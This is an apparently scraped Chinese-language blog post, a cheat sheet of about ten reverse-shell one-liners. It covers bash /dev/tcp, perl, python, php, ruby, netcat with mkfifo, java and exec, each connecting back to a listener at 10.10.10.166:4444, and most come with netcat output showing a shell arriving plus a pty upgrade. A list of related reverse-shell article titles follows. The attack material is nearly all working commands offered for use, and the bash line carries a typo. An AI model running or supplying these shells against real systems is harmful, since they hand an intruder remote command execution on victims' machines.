10種反彈shell方式
參考連結1:http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
參考連結2:https://bernardodamele.blogspot.com/2011/09/reverse-shells-one-liners.html
10種反彈shell方式
2019年3月30日【原創】
bash
perl
python
python
ruby
nc
java
xterm
exec
從原生的 shell 環境切換到 linux 的互動式 bash 環境
1. bash
bash -i >& /dev/tcp/10.10.10.166/44440>&1
# 返回的執行命令所在的使用者 shell 環境
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.10.166] from (UNKNOWN) [10.10.10.50] 39744
kevin@ubuntu:~$
2. perl
第一種方式:
perl -e 'use Socket;$i="10.10.10.166";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# 返回的是原始shell
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.10.166] from (UNKNOWN) [10.10.10.50] 39740
$
# 切換到互動式環境使用:python -c 'import pty; pty.spawn("/bin/bash")'
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.10.166] from (UNKNOWN) [10.10.10.50] 39840
$ python -c 'import pty; pty.spawn("/bin/bash")'
kevin@ubuntu:~$
第二種方式(linux):
kevin@ubuntu:/root$ perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.166:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
第三種方式(windwos):
kevin@ubuntu:/root$ perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
3. python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.166",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# 返回的是原始shell
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.10.166] from (UNKNOWN) [10.10.10.50] 39740
$
4. php
php -r '$sock=fsockopen("10.10.10.166",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# 返回的是原始shell
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.10.166] from (UNKNOWN) [10.10.10.50] 39740
$
5. ruby
第一種方式:
ruby -rsocket -e'f=TCPSocket.open("10.10.10.166",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)
# 一次性連線,連上就斷,換上 msd 監聽也是這樣
第二種方式(linux):
kevin@ubuntu:~$ ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.10.166","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
第三種方式(windows)
ruby -rsocket -e 'c=TCPSocket.new("10.10.10.166","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
6. nc
nc -e /bin/bash 10.10.10.166 4444
# 返回的是原始shell
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.10.166] from (UNKNOWN) [10.10.10.50] 39740
$
如果以上報錯,則使用下面的方式:
# 執行報錯:
kevin@ubuntu:~$ nc -e /bin/bash 10.10.10.166 4444
nc: invalid option -- 'e'
This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.
# 方式二:
kevin@ubuntu:~$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.166 4444 >/tmp/f
rm: cannot remove '/tmp/f': No such file or directory
# 返回的是原始shell
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.10.166] from (UNKNOWN) [10.10.10.50] 39740
$
7. java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.10.166/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
# 未驗證
8. xterm
kevin@ubuntu:~$ xterm -display 10.10.10.166:4444
xterm: Xt error: Can't open display: 10.10.10.166:4444
# 報錯,無法使用
9. exec
kevin@ubuntu:~$ exec 5<>/dev/tcp/10.10.10.166/4444
kevin@ubuntu:~$ cat <&5 | while read line; do $line 2>&5 >&5; done
# 返回的是原始shell
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.10.166] from (UNKNOWN) [10.10.10.50] 39740
$
第二種方式:
kevin@ubuntu:~$ 0<&196;exec 196<>/dev/tcp/10.10.10.166/4444; sh <&196>&196 2>&196
# 返回的是原始shell
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.10.166] from (UNKNOWN) [10.10.10.50] 39740
$
10. 從原生的 shell 環境切換到 linux 的互動式 bash 環境
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.10.166] from (UNKNOWN) [10.10.10.50] 39840
$ $ $
$ python -c 'import pty; pty.spawn("/bin/bash")'
kevin@ubuntu:~$
相關文章
- DNS反彈ShellDNS
- 反彈shell是什麼?反彈shell有什麼用?
- 反彈shell不成功排查
- Linux shell:執行shell指令碼的幾種方式Linux指令碼
- 通過ICMP協議反彈SHELL並執行命令協議
- scrapy突破反爬的幾種方式(三)
- powershell各種反彈姿勢以及取證(二)
- powershell各種反彈姿勢以及取證(一)
- 鴻蒙(HarmonyOS)常見的三種彈窗方式鴻蒙
- shell指令碼的三種執行方式和區別指令碼
- Linux中執行Shell指令碼的方式(三種方法)Linux指令碼
- 兩種方式lu一個vue彈窗元件(v-model與promise方式)Vue元件Promise
- 反爬蟲的四種常見方式-JS逆向方法論爬蟲JS
- 攜程,終於反彈了?
- 用Unity實現彈反效果Unity
- 在Java中反轉字串的10種方法[Snippets]Java字串
- win10老是自動彈出反饋中心如何解決 win10的反饋中心怎麼關閉它Win10
- 兩種純CSS方式實現hover圖片pop-out彈出效果CSS
- 菜油C浪反彈開啟了
- python簡單遊戲-反彈球Python遊戲
- 加密市場強勢反彈!BTC大漲超10%,續刷前期新高!加密
- 摩根大通:2021年10月中國市場iPhone銷量反彈iPhone
- shell-----資料呈現方式
- 使用位運算、值交換等方式反轉java字串-共四種方法Java字串
- 大資料拯救地球環境的10種方式大資料
- 玻璃反彈至1540-1555區間
- 榮耀手機反彈的法門
- 2019,中國遊戲觸底反彈遊戲
- win10一按鍵盤各種彈出如何解決_為什麼win10一按鍵盤各種彈出內容Win10
- [20201109]bash shell特殊算術方式.txt
- shell初級-----資料呈現方式
- 使用netcat進行反彈連結的shellcode
- 量化策略:如何利用死貓反彈獲利?
- win10快捷方式點選彈出屬性介面怎麼解決Win10
- Python教程:Pandas資料轉換編碼的10種方式Python
- 盤點最常見的10種網路安全攻擊方式!
- 橡膠 在經歷大C浪的反彈
- 程式碼混淆與反混淆學習-第二彈